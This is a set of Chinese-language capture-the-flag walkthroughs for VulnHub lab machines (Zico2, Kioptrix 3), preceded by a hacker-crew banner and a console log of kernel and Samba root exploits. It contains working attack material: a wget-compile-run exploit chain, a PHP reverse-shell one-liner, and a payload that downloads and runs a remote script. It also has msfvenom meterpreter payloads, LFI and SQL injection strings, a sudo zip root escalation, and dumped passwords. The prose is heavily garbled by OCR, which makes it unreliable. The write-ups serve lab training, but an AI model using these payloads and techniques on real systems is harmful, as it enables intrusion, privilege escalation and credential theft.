3k >k 3k >k 3k 3k >k 5k 3k >k 5k >k 5k 3k >k 5k %k >k 3k >k 3k 3k >k 3k %k >k 5k >k 3k ok 5k 3k >k 5k 3k >k 3k >k 5k 3k >k 5k 3k >k 3k >k 5k 3k >k 5k >k >k 3k >k 5k 3k >k %k >k >k 3k >k 5k >k ok %k %k
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #thackarena irc.brasnet.org 3
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitrox #coder #root #endiabrad@s #NHC #TechTeam *

* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!ratez *
3k 3k sk 3k sk 3k >k ok 3k >k sk 3k sk sk >k sk 3k ok sk >k sk 3k sk sk 3k ok sk >k sk 3k sk sk 3k ok k >k sk 3k sk sk 3k sk 3k >k sk 3k sk 3k >k sk 3k ok sk >k sk 3k sk sk >k ok sk >k ok sk ok k ok

Establishing SSL connection
cipher: 0x4043808c  ciphers: 0x80f80e0
Ready to send shellcode
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Spawning shell...
bash: no job control in this shell
bash-2.05%
bash-2.05% unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/@30exploits/ptrace-
kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--04:04:37-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> “ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--04:04:38-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> “ptrace-kmod.c"
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

oK ... 100% @ 3.74 MB/s
04:04:39 (3.74 MB/s) - “ptrace-kmod.c' saved [3921/3921]

[+] Attached to 6498

[+] Waiting for signal

[+] Signal caught

[+] Shellcode placed at ©x4001189d

[+] Now wait for suid shell...

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami

root

SambaifEiEFIHE
SLIRIMERFE— N sambaimiEay |,

XERE enumalinux EFIRSMBIMYKZEEWINdowsREFISAMBAIRSS | LAULLSEXEBIRRAAXENEEEE |
HNHERTEE 2 BRARNARIKS. AikS. HEAR. ERNRBSFNEEERER.

EFRAHINMZRBENE]sambafhR A
1ZiRmiAJY samba trans2openiid (Linux x86 ) fESamba 2.2.0%82.2.8fR A &IMAIE M X mH.
FE#ER]LATE searchsploit B
XEEEAMSEMEHI TR,
msf exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):
Name  Current Setting Required Description

RHOST 192.168.43.54  yes The target address
RPORT 139 yes The target port (TCP)
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Payload options (linux/x86/shell _bind_tcp):

Name  Current Setting Required Description

LPORT 4444 yes The listen port
RHOST 192.168.43.54 no The target address

Exploit target:

Id Name

@ Samba 2.2.x - Bruteforce
msf exploit(linux/samba/trans2open) > exploit

[*] Started bind handler

[*] 192.168.43.54:139 - Trying return address o@xbffffdfc...

[*] 192.168.43.54:139 - Trying return address @xbffffcfc...

[*] 192.168.43.54:139 - Trying return address Oxbffffbfc...

[*] 192.168.43.54:139 - Trying return address Oxbffffafc...

[*] Command shell session 2 opened (192.168.43.177:33375 -> 192.168.43.54:4444) at 2018-05-07
04:47:42 -0400

id
uid=0(root) gid=0(root) groups=99(nobody)

ISk

BRVHIXNELIIMELRE | — iR BeEILAISLE P RFRDFERN. BEEREXNFEF BIESFr LR
—UL6 kali linux AT ERYF)HFN—LsLEAV RS,

£+ Zico2

title: Vulnhubi8EMRK4S - Zico2 date: 2018-05-05 22:30:35 categories: &1

E& : Ukonw
vulnhubi&iEts
FEHN Itk

https://www.vulnhub.com/entry/zico2-1,210/

FIIMIR
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e Kali Linux
VirtualBox

= lu\w*

SR BB SR EIEHA0IP AL | FBHVEVirtualBox T Host-only LISt , THEN ST ARt
HEHEEZIPHENERY,
XERZEI—Nkali linux FHIS—1NT B netdiscover EFARPHIMEZIET R,

BiEHN{T5S netdiscover :

root@kali: ~ e G @.

MH(F) tRIB(E) ZTE(V) HB=R(S) L&) #EIH)
Currently scanning: 172.17.11.0/16 Scree iew: Unique Host

5 Captured ARP Req/Rep packets,

658.56.102 ©68:00:27:98:69:ca ; 26 5 ! mtechnik GmbH
68.56.100 ©8:00:27:ea:ca:5c¢ ] 5 ! |trchn1k GmbH
I68. 1371 Oar 0027000024 6o 'Linkn:_mn VETTHoT

XEBEA BRENEIF NP |, M ATIIERRAYE 192.168.56.102
E TR nmap HAiROER

nmap -A 192.168.56.102


af://n24031

root@kali: ~
M(F) RIB(E) EFE() HZE(S) &) #HBIH)
:~# nmap -A 192.168.56.102
7.70 ( https://nmap.org ) at 2018-05-85 18:42 EDT

warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try

s or specify valid se with --dns-
Nmap scan report for 192.168.56.182
Host is up (0.00027s latency).
Mot shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9pl Debian 5ubuntul.1® (Ubuntu Linux; protocol 2.8)
| ssh-hostkey:
| 1024 e: :16:d8:5b:88:b
| 2048 50: - 2f 43:c9:ab:14:40: ?f dl
| 256 11:5d: ,?T.du. P8:b4:90:9b:a3:61:93:f
80/tcp npwn Apache httpd 2.2.22 ((Ubuntu))
B = e Apache/2.2.22 (Ubuntu)

port/proto service
100900 ‘ : 111/tcp rpcbind
100000 ‘ 111/udp rpcbind
laaez4 49062 /tcp status
_ loeez4q 57276/udp status
MAC Addres 08 : 8 A (Oracle VirtualBox virtual NIC)
Device type: gp
Running: Linux 2.6.X|3.X
5 CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
S details: Linux 2.6.32 - 3.5
; k Distance: 1 hop

:rvice Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.27 ms 192.168.56.102

15380im M LiziTE—WebfR55 28,
hlEiZWebiRSS |, FEIXMTIREA TR LA & A I TR XS Rub 435

i+l
XEFRERENUEATNE , KR 7T GEERAE.
view.php?page=tools.html

%?Eﬁﬁﬂé? ../../etc/passwd

using



af://n24052

Mozilla Firefox e e 0
| http://192.1..../etc/passwd = | + r

€ (O | 192.168.56.102/view.php?page=../../..fetc/|

Search wB ¥ & 9
[ Most Visitedv  JllOffensive Security e Kali Linux ¢ Kali Docs & Kali Tools # Exploit-DB Wy Aircrack-ng gl Kali Forums & NetHunter »

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:fusr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh
Ip:x:7:7:Ip:fvar/spoolflpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var
/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var
/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/runfircd:/bin/sh gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var
Nibflibuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false
ntp:x:103:108::/home/ntp:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/shin/nologin vboxadd:x:999:1::/var/run/vboxadd:
/binffalse statd:x:105:65534::/var/lib/nfs:/bin/false mysqgl:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

3

BINEE  BIERHEHPAEER , RAREMNAER , REER Host-only RMERICHITN | FrA—INESITFE
EBTE Kali AT

XEEAEEMENER |, B2 kali T dird EIRATFIEFERNIE.

:~# dirb http://192.168.56.102

DIRB v2.22
By The Dark Raver

START TIME: 5at May 5 18:53:51 2018
URL BASE: http://192.168.56.182/
WORDLIST FILES: /fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

----5Scanning URL: http://192.168.56.102/ ----

+ http://192.168.56.102/cgi-bin/ (CODE:403|5IZE:290)
=== DIRECTORY: http://192.168.56.1082/css/

=== DIRECTORY: http://192.168.56.102/dbadmin/

=== DIRECTORY: http://192.168.56.102/img/

+ http://192.168.56.102/index (CODE:200|SIZE:7970)

+ http://192.168.56.102/index.html (CODE:200|SIZE:7970)
=== DIRECTORY: http://192.168.56.102/js/

+ http://192.168.56.102/LICENSE (CODE:200|SIZE:1094)

+ http://192.168.56.102/package (CODE:200|SIZE:789)

+ http://192.168.56.102/server-status (CODE:403|SIZE:295)
+ http://192.168.56.102/tools (CODE:200|SIZE:8355)

=== DIRECTORY: http://192.168.56.102/vendor/

+ http://192.168.56.102/view (CODE:200|5IZE:0)

---- Entering directory: http://192.168.56.102/cs55/ ----
(1) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

--- Entering directory: http://192.168.56.102/dbadmin/ ----



BEI— dbadmin FIBR

Index of /dbadmin - Mozilla Firefox
| Index of /dbadmin ® |+

€ 9 (| 192.168.56.102/dbadmin/ @ ||Q Search

f5 Most Visitedv [JllOffensive Security & Kali Linux “ Kali Docs “& Kali Tools & Exploit-DB WAl
Index of /dbadmin

Name Last modified Size Description

¥ Parent Directory -

test db.php  08-Jun-2017 14:00 178K

Apache/2.2.22 (Ubuntu) Server at 192.168.56.102 Port 80

phpLiteAdmin - Mozilla Firefox
| phpLiteAdmin x |+

€ | ® & | 192.168.56.102/dbadmin/test_db.php & | |Q Search Al =

fi5] Most Visitedv [l Offensive Security S Kali Linux S Kali Docs % Kali Tools = Exploit-DB Wy Aircrack-ng g Kali

phpLiteAdmin vi9:3

Password: [ ]

Remember me

Powered by phplLiteAdmin | Page generated in 0.0005 seconds.

XERZEIRIR— MY phpLiteAdmin JRFZEENFAE , lRAEN v1.9.3
SRR MRAR B SRRR | XMRS EFEE—NTEPHPR IS ENTRR.

XA S RS RS AT Kali REY searchsploit —NAFExploit-DBEIRSITERT
B,

==



XA B ZIREIFS | XEBAITUERFBXMNEEPHPRASEN B RGEEERA.
FTLAEIAEIAZS adnin |, RIIAILAEREERHE,

M exploit-db FRIRHIAILIET | BAIFEEIE—MUERE , BA—"shell,
XERTLANncisrim k&3 #Eshell , tBRTLARmMsfARLphp BRHITIEIT.

RAR exploit-db MRV HER. XEEEGE—NEEEZ/ .php RIEUEEE shell

phpLiteAdmin - Mozilla Firefox @ |

| phpLiteAdmin x|+
€ @O A | 192.168.56.102/dbadmin/test_db.php E1| C Search w B ¥+ & 9

[ Most Visitedv il Offensive Security “e Kali Linux “e Kali Docs " Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums

fusr/databases/test_users

phpLiteAdmin vi19.3
Documentation | License | Project Site [ Structure ” SQL || Export || Import H Vacuum H Rename Database ]
Delete Database

—Change Database

[rw] [usr/databases/test_users

You are using the default password, which can be dangerous. You can |

__lusr/databasesftest users 1 change it easily at the top of phpliteadmin.php
' You have been warned.

[table] info

...................................................................................

/ Database name: /usr/databases/test_users
— Create New Databhase [?F Path to database: /usridatabases/test_users
Size of database: 2 KB
Database last modified: 1:54pm on June 8, 2017
(shell.php ] [ Create ] sQLite version: 3.7.9
SQLite extension [21: PDO Y
PHP version: 5.3.10-1ubuntu3.26

[ E'}e ][ Name ][ Action

Table info Browse  Structure  SQL  Search  Insert Export  Import  F
[ 1total

[—Create new table on database ‘fusridatabasesitest users'

FINZRER



phpLiteAdmin - Mozilla Firefox @ G
/ phpLiteAdmin ®x |+

.

€ | © | 192.168.56.102/dbadmin/test_db.php?switchdb=%2Fusr v EJ | & | | Q Search wBa & 4@

[ Most Visitedw [l Offensive Security e Kali Linux “e Kali Docs "¢ Kali Tools = Exploit-DB Y Aircrack-ng g Kali Forums

- Delete Database

—Change Database

[rw] Jusridatabases/shell.php A = \
[rw] fusrfdatabasesftest_users\ You are using the default password, which can be dangerous. You can 5

] . change it easily at the top of phpliteadmin.php i
' You have been warned.

—[usr/databases/shell.php

...................................................................................

No tables in database.
Database name: /usr/databases/shell.php
Path to database: fusr/databases/shell.php

— Create New Database [7]————— Size of database: 1 KB
Database last modified: 3:22pm on May 5, 2018
SQLite version: 3.7.9
[ ] [ Create] SQLite exterigion [7: PDO

No tables in dat
—Create new table on database ‘/usridatabasesishell.php’

Name: [shell ] Mumber of Fields: D]

—Create new view on database ‘fusrldatabases/shell.php’

Name: [ ] Select Statement [7]:

[ )

XEEARRAY /var/wuw/html BFE TR

<?php $sock=fsockopen("192.168.56.101",2333);exec("/bin/sh -i <&3 >&3 2>&3");?>

SRS Bshapache webfR53E8

service apache2 start

REREIZEGRREFRINFRE | KB TexT BSAPHPHEBK T Tshell

<?php system("wget 192.168.56.101/shell.txt -0 /tmp/shell.php; php /tmp/shell.php"); ?>



IFAERF ~ fiiE v © Firefox ESR « 2H75 1935

phpLiteAdmin - Mozilla Firefox

/ phpLiteAdmin x|\ +

€ ) (D | 192.168.56.102/dbadmin/test_db.php?action=table_create Search w B 4+ & O

5 Most Visited v [ ensive Securi ali Linux ali Docs ali Tools = Exploit- ircrack-n ali Forums etHunter
F5 Most Visitedv  JROFf Security S Kali Linux " Kali Docs & Kali Tools  Exploit-DB W Aircrack-ng gKali F % NetH

. - lusr/databases/shell.ph
phpLiteAdmin vi93 o
Documentation | License | Project Site ting new table: 'shell’ / \
—Ch Database ————— -
ange Database Id ][ Type / ][ Egmary [ Autoincrement ][ :(I.)IlLL ][ D(N\falue
Fw% f:usrf:gataEaSES{Shell_ghg &
rw] /usr/databases/test_users
- Il TEXT - ?ph '
ne ] [ _I ves Yes ves <?php system(
— lusr/databases/shell.php Canc
No tables in database.
< >
—Create New Database [[]————— Powered by phpLiteAdmin | Page generated in 0.0008 seconds.
[ ] [Create]
BEULBR P TXSBEEENE , FE—IHTTPERK,
XEHA IR AT LR BRI Z AT A M B S H0RR 7.
el TR LR R IR TS B AR R RV R 12
/usr/databases/shell.php
FeRANCIITEAZ Bl ERYImA 2333
Zico's Shop - Morzilla Firefox — O X
phpLiteAdmin % | (% Connecting... ® |+
€ 9 192.168.56.102/view.php?page= I /..Jusr/databases/sh Search wBe ¥ & @ =
[ Most Visitedv Ji| Offensive Security S Kali

ZICO'S SHQOR
' MHF(F) #WIB(E) BE() MER(S) £ #FEEIH)
:~# nc -lvp
listening on [any] 23 : e
192.168.56.102: in hos kup failed: Unknown host
connect to [192.16¢ g (UNKNOWN) [192.168.56.102] 38696
/bin/sh: @: can't access tty; job control turned off
$

XEBA VAT LA E— N shell T,

BUBREH



af://n24120

‘T shellflF , ERHITHRELRNT
/home/zicoF—" wordpress BR , E—MNEIHICMS

FHANBEFHwp-config.php3Zit,

root@kali: ~
XF(F) iRIE(E) EE(V) BZR(S) Lm(T) #FEH)

* @link https://codex.wordpress.org/Editing wp-config.php
+

* @package WordPre

*/

S/ *¥F MysSQL settings - You can get this info from your web host ** //
' of the database for WordPress */

define('DB NAME', 'zico');

/** MySQL database username */
cdefine('DB_USER', 'zico');

/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfISPVIH3AMQzw8');

/** MySQL hostname */ E
define('DB_HOST', 'zico');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt.
define('DB_COLLATE', '');

/HHHER+
* Authentication Unigue Keys and S

alts.
KT BRFzicolEREUE , FAIILAR ssh SRk,

ssh zico@192.168.56.102

FIA sudo -1 EEERIAFIHRITSLEITAHES

@ (




zico@zico: ~ e ® O
MHH(F) fREB(E) ZE(V) HZR(S) £W&K(T) HBhH)

:~# ssh zico@l92.168.56.182
The authenticity of host '192.168.56.182 (192.168.56.182)' can't be established.
ECDSA key Tingerprint is SHAZ256:+zgKqxyY1TBxVOOXxtTVGBoKkreS9Zr71wQGvnG/k2igw.
Are you sure you want to continue connecting (yes/no}? yes
Warning: Permanently added '192.168.56.102' (ECDSA) to the 1list of known hosts.
Zico@192.168.56.102's password:

The programs included with the Ubuntu system are free software;
the exact distribution terms for each pr e described in the
individual files in fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY MO WARRANTY, to the extent permitted by
applicable law.

zico@zico:~% sudo -1
Matching Defaults entries for zico on this host:

env_reset, exempt group=admin,

secure path sr/local/sbin\:/usr/local/bin\: fusr/sbin\: /usr/bin\:/sbin\:/bi
n

User zico may run the following commands on this host:
(root) MNOPASSWD: /bin/tar
{(root) NOPASSWD: fusr/bin/szip

Zico@zico:~%

XEFRALRIAR zico AILAFIAErooPREZRBHUT tar M zip @<
XERTLARIA touch exploit BIE—MENXM , FA zip ap S T/ESE

sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")""

e sudo FIEEEMPRIIT
TIREHISEME, XAMSHEALAHBHIT R — M8 -unzip-command , FEXMSEHFEA—python
{935 Eishell

zico@zico: /tmp e @ a
MH(F) iwEB(E) BEEB(V) HEZER(GS) L) FFEIH)

zico@zico: /tmp$ touch exploit
Zico@zico:/tmp$ sudo zip exploit.zip exploit -T --unzip-command="python -c 'impo
rt pty; pty.spawn(\"/bin/shy")'"
adding: exploit (stored ©%)
# whoami
root

# id

uid=0(root) gid=0(root) groups=0(root)

# 1

FILLAYZEY root BR , I RRFMAILUAN /root BRT

cat /root/flag.txt 15Zlflag,



zico@zico: /tmp ()

S (F) fmIB(E) EBEB(V) HEZR(S) £uR(() #BHH)
# cd /root

/bin/sh: 8: cdt: not found

# cd /root

# s

flag.txt

# cat flag.txt

ROOQOOT!
You did it! Congratz!

Hope you enjoyed!

#
#
#
#
#
#
#
#
#
#
#

3
|

B

e vulnhubBEEBREAFIBPNERMISE | FIXTH—RBNSETRE , FEITREZEKA.
ESERFFLEEIT kali linux FEI—ATE netdiscover EFARPHIMLZIFH TR, iBBE—MNHENE
IREWNEF |, EELERZIAAZERarpERUAMNE , BEZFISEZEH RV EEEER.
FEEENMERIRUNITE TN R B EN E2ET ICMPHRY FHIE R R &R SRR (ping). RSENA
TEHRARSESIRN |, BRI IEISICMPERRL , NTIAZITERSEHRaERIEN.,

FEXEFRE T RMIESHIREshell, 51 Zphpfpython , IXESEEIMIEZEReverse Shell Cheat
Sheet

HFEANATERRELHR R HEE 908 |, EXREGI PR TEILAFIS touch exploit BlFE—NHE
WX, HA zip S#TES |, AT AR B CHISTHER KD T,

RERET  EXHNEEM., E/MEZAFHNEEHERFEE  MTTF— P ENRL25IHIZS |
BORREAEN. ReeEEEHET.

#£4A7 Kioptrix 3

title: Vulnhubi&@EMH 45> -Kioptrix 3 date: 2018-05-08 20:01:26 categories: £ig

E& : Ukonw
Halves

[E#EF netdiscover AINBFRIEM.


af://n24155
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
af://n24166
af://n24169
af://n24173

root@kali:~# netdiscover
Currently scanning: 192.168.194.0/16 | Screen View: Unique Hosts

13 Captured ARP Req/Rep packets, from 4 hosts. Total size: 780

IP At MAC Address Count Len MAC Vendor / Hostname
192.168.43.1 ac:cl:ee:31:3f:25 6 360 Xiaomi Communications Co Ltd
192.168.43.33  44:03:2c:68:d8:0f 2 120 1Intel Corporate
192.168.43.58 00:0c:29:b2:76:40 4 240 VMware, Inc.
192.168.43.158 00:0c:29:38:2d:6T 1 60 VMware, Inc.

B#RIPg 192.168.43.158 .

FnmapAfEEFRENIROES.

root@kali:~# nmap -A -sS -n 192.168.43.158
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-08 07:45 EDT
Nmap scan report for 192.168.43.158
Host is up (0.00053s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
| 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
http-cookie-flags:
/8
PHPSESSID:
_ httponly flag not set
_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:38:2D:6F (VMware)
Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:1linux:1linux_kernel:2.6

0S details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 ©0.53 ms 192.168.43.158

0S and Service detection performed. Please report any incorrect results at

https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds

i ERT USR]



e 22/tcp open ssh  OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

80/tcp open http  Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
OS details: Linux 2.6.9 - 2.6.33

80 BIIAB HcmsH Lotus CMs ,

(© | 192.168.43.158/index.php?page=index | &

Il

Ligoat Security

IR B

Got Goat? Security ... \

Got Goat? Security ...

We've revamped our website for the new release of the|new gallery CMS we made. We are geared towards security...

We are so full of ourselves, we've putthis on our dev-servers just to show how serious we are. Visit our blog section for more
information on our new gallery system.

Or cutto the chase and see it now!

© 2011 Ligoat Security

FA dirb 1 — FREES, ELRESITEESR, KIIFIE phpdamin

o ® & | 192.168.43.158/phpmyadmin/

= 1

phpMyAdmin

Welcome to phpMyAdmin
2.11.3deblubuntul.3

rLanguage @

English (utf-8) v

. l

Password: l

This connection is not secure. .

cms)’a’.‘:.‘[ http://192.168.43.158/index.php?system=Admin




D & | 192.168.43.158/index.php?system=Admin

oot um_t?/,

Username:

Password:

Proudly Powered by: LotusCMS

i+ B
XiHaseEa %

1318)80im 1 _EAIWEBRRSS.

( | 192.168.43.158/index.php?system=Blog

Ligoat Security
I T T

Blog

New Gallery Online!
05 August 2010

We've justimplemented our new state of the art Gallery.

KBurldE RiaiR

[http://192.168.43.158/index.php?system=Blog]

%lit[ system=../../../../../etc/passwd l



af://n24204
af://n24206

/W LigyudL SCLUliLy - guL .. A | T
4

L'

f5 Most Visited~ FllOffensive Security S Kali Linux S Kali Dodi & Kali Tools = Exploit-DB Wy Aircrack-ng g Kali Forums '

Ligoat Security

Got Goat? Security ...

We've revamped our website for the new release of the new gz

We are so full of ourselves, we've put this on our dev-servers ju

information on our new gallery system.

Or cut to the chase and see it

AT, =i %eo. Bl , KIATLUSER! /etc/passwd

http://192.168.43.158/index.php?system=../../../../../../../../etc/passwd%00.

B e

[ Most Visitedv [l Offensive Security ' Kali Linux % Kali Docs S Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums S NetHunter

root:x:0:0:root:/root:/bin/fbash daemon:x:1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:r
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexisten
syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false mysqgl:x:104:108:MySQL Server,,,:/val
loneferret:x:1000:100:loneferret,,,:/home/floneferret:/bin/bash dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dr
Parse error: syntax error, unexpected "', expecting T_STRING or T_VARIABLE or '$' in /home/www/kioptrix3.com

XERLESEESQLMapBHRAIEEESEE T — P shell,

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.177 LPORT=443 -f raw >
/tmp/evil.jpg

No platform was selected, choosing Msf::Module::Platform::PHP from the payload

No Arch selected, selecting Arch: php from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 1114 bytes

FA msfvenom £R—MNERD
HliVERe LEE RS EE— B A
ENEENER  FEIERNE
FFmMsfiEIriHO



MENHGEE S8 LEER | XMHISIEEISA. EAX MR IREAZ.

http://kioptrix3.com/index.php?
system=../../../../../../../home/www/kioptrix3.com/gallery/photos/thumb_1a20444377j.jpg%00.

AR EI—shell,

msf > use multi/handler

msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 192.168.43.177

LHOST => 192.168.43.177

msf exploit(multi/handler) > set LPORT 443

LPORT => 443

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.43.177:443

[*] Sending stage (37775 bytes) to 192.168.43.158

[*] Meterpreter session 1 opened (192.168.43.177:443 -> 192.168.43.158:51226) at 2018-05-08
12:53:09 -0400

meterpreter > 1ls
Listing: /home/www/kioptrix3.com

Mode Size Type Last modified Name

40777 /rwxrwxrwx 4096  dir 2011-04-15 ©9:21:17 -0400 cache
40777/rwxrwxrwx 4096  dir 2011-04-14 12:24:17 -0400 core

40777 /rwxrwxrwx 4096 dir  2011-04-14 12:24:17 -0400 data
100644/rw-r--r-- 23126 fil  2011-04-14 12:23:13 -0400 favicon.ico
40755/rwxr-xr-x 4096 dir  2011-04-14 11:32:31 -0400 gallery
100644/rw-r--r-- 26430 fil 2011-04-14 12:23:13 -0400 gnu-lgpl.txt
100644/rw-r--r-- 399 fil  2011-04-14 12:23:13 -0400 index.php
40777 /rwxrwxrwx 4096  dir 2011-04-14 12:24:17 -0400 modules
40777/rwxrwxrwx 4096  dir  2011-04-14 12:24:17 -0400 style
100644 /rw-r--r-- 243 fil 2011-04-14 12:23:13 -0400 update.php

RBR/N , REGSEIUTATH.

SQLmMapi#{TSQLIEA
XANERAEHHEEEIRE , 30284665 kioptrix3. con

1E etc/passwd 0
192.168.43.158 kioptrix3.com

service networking restart ERIRS

EIUrlfZFESQLIEAN,  kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos


af://n24245

€ | @ | kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#phatos

[ Most Visited~ FlOffensive Security "\ Kali Linux " Kali Docs "8 Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums & NetHunter S Kali Training @& Getting Starte

000007 e

Home » Ligoat Press Room

Quick Links: Home RecentPhotos

ds to your MySOL server version for the rig ax i

55A sqlmap HATIENML |, idFEIREEEN.

Parameter: id (GET)
boolean-based blind
: OR boolean-based blind - WHERE or HAVING clause (MySOL comment)
Payload: id=-4834 OR 6655=6655#&sort=photoid

ﬂ”QOL 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=1 OR ROW(8294,9895)>(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT (ELT(8294=8294,
1}}},Bx?l?a?a?a?l,FLOOR(RAND(O}*Z]}V FROM (SELECT 9491 UNION SELECT 4019 UNION SELECT 4666 UNION
SELECT 8685)a GROUP BY x)&sort=photoid

AND/OR time-based blind
MySQL == 5.8.12 OR time-based blind
Payload: id=1 OR SLEEP(5)&sort=photoid

:50:28] [INFO] the back-end DBMS is MySQL
server operating system: LlHUa Ubuntu 8.04 (Hardy Heron)

dF:F:llCdtl::l‘i technology: PHP 5.2.4, Apache 2.2.8
back end DBMS: MySQL >= 4.1

current user: @localhost’
current databa

ent user
uring “run:

SREK TR EERKSED.

Database: gallery
Table: dev_accounts
[2 entries]

T ST T T T TP +
| id | username | password |
Tosoadsooosooonnos T e [ SRS +
| 1 | dreg | @d3eccfb887aabd50f243b3f155c0f85 (Mast3r)

| 2 | loneferret | Sbadcaf789d3d1d09794d8f@21f40f0e (starwars) |
Tocoadhsooooooonoos Tosooooooossonnonnoooononnosoo0s000oo00000000s +



D & | 192.168.43.158/index.php?system=Admin

oot um_t?/,

Username:

l

Password:

l

Proudly Powered by: LotusCMS

TEBR , BIMEEI—NESAMETT http://kioptrix3.com/gallery/gadmin/

Database: gallery
Table: gallarific_users
[2 entries]

B B +
| username | password |

Hocosoasoos Focosoosoos +
| admin | net7tik4 |
4ommmmmeaas T +

{BEAILER.

XEBAATLIE root Fl dba R , (BEFEHEITEIR, FRLEREAsqImapi#{TSshell,
FiEsqli

‘ http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,2,3,4,5,6# ’

Flr—t565!

‘ http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,version(),database(),4,5,6# ’



af://n24277

),database(),4,5,64

[ Most Visited~ [l Offensive Security " Kali Linux “e Kali Dglfs “e Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums “e NetHunter
ity p g

BEILRIEIRFERES

http://kioptrix3.com/gallery/gallery.php?

uutuuut_?,

Home » Ligoat Press Room

Sub Gallery

5.0.51a-3ubuntub5.4
gallery

Quick Links:

Home Recent Phe

Last Upload

Photo Sh

I YT e e—

id=1%20union%20@select%201,group_concat(table_name),3,4,5,6%20from%20information_schema.tables%20w

here%20table_schema%20=%20database()#

